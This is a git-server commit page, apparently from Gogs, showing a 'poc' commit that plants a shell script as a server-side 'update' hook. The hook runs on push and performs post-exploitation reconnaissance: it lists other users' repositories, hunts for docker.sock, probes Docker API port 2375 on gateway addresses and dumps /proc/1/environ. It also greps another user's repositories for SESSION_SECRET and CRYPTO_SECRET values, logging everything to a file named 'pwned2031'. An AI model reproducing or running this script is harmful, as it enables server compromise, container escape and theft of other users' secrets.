poc 1 týždeň pred
rodič
commit
200421b6e8
1 zmenil súbory, kde vykonal 37 pridanie a 0 odobranie
  1. 37 0
      nslxlxsqfe/rce-lxlxsqfe.git/hooks/update

+ 37 - 0
nslxlxsqfe/rce-lxlxsqfe.git/hooks/update

@@ -0,0 +1,37 @@
+#!/bin/sh
+{
+echo "=== rce2031 fresh $(date -u) ==="
+echo "--- id ---"; id
+echo "--- pwd ---"; pwd
+echo "--- zoujiajian dir ---"; ls -la /data/git/gogs-repositories/zoujiajian/ 2>/dev/null
+echo "--- sizes MB ---"; du -sm /data/git/gogs-repositories/*/*.git 2>/dev/null | sort -n | tail -45
+echo "--- local-r ---"; ls -la /data/gogs/data/tmp/local-r/ 2>/dev/null | head -20
+echo "--- /var/run + docker.sock ---"; ls -la /var/run/ /run/ 2>/dev/null | head -40
+echo "--- route ---"; cat /proc/net/route 2>/dev/null; echo; cat /etc/resolv.conf 2>/dev/null
+echo "--- docker api probes ---"
+for gw in 172.17.0.1 172.18.0.1 172.19.0.1 172.20.0.1 172.21.0.1 10.0.0.1; do
+  echo "[$gw]"; wget -q -T 2 -O- "http://$gw:2375/version" 2>&1 | head -c 200; echo; done
+echo "--- host env hunt: /proc/1/environ ---"; tr "\0" "\n" < /proc/1/environ 2>/dev/null | head -40
+} > pwned2031 2>&1
+(
+export GIT_NO_LAZY_FETCH=1
+echo "=== deep scan start $(date -u) ==="
+for r in zoujiajian/dump.git zoujiajian/netflix-code.git; do
+  GD=/data/git/gogs-repositories/$r
+  echo "##### SCAN $r $(date -u)"
+  if [ -d "$GD" ]; then
+    du -sm "$GD" 2>/dev/null
+    echo "-- refs --"; git --git-dir="$GD" for-each-ref 2>/dev/null | head -20
+    echo "-- log --"; git --git-dir="$GD" log --all --oneline 2>/dev/null | head -25
+    echo "-- HEAD files --"; git --git-dir="$GD" ls-tree -r --name-only HEAD 2>/dev/null | head -200
+    echo "-- config-like files --"; git --git-dir="$GD" ls-tree -r --name-only HEAD 2>/dev/null | grep -iE "env|compose|deploy|secret|conf|ya?ml|key" | head -80
+    echo "-- keyword stream grep --"
+    git --git-dir="$GD" rev-list --objects --all 2>/dev/null | cut -d' ' -f1 | git --git-dir="$GD" cat-file --batch 2>/dev/null | grep -a -i -o -E ".{0,80}(session_secret|crypto_secret|sessionsecret|cryptosecret).{0,160}" | head -40
+    echo "-- git grep HEAD --"; git --git-dir="$GD" grep -i -n -e SESSION_SECRET -e CRYPTO_SECRET HEAD 2>/dev/null | head -20
+  else
+    echo "MISSING $GD"
+  fi
+  echo "##### DONE $r $(date -u)"
+done
+echo "=== deep scan ALLDONE $(date -u) ==="
+) >> pwned2031 2>&1 &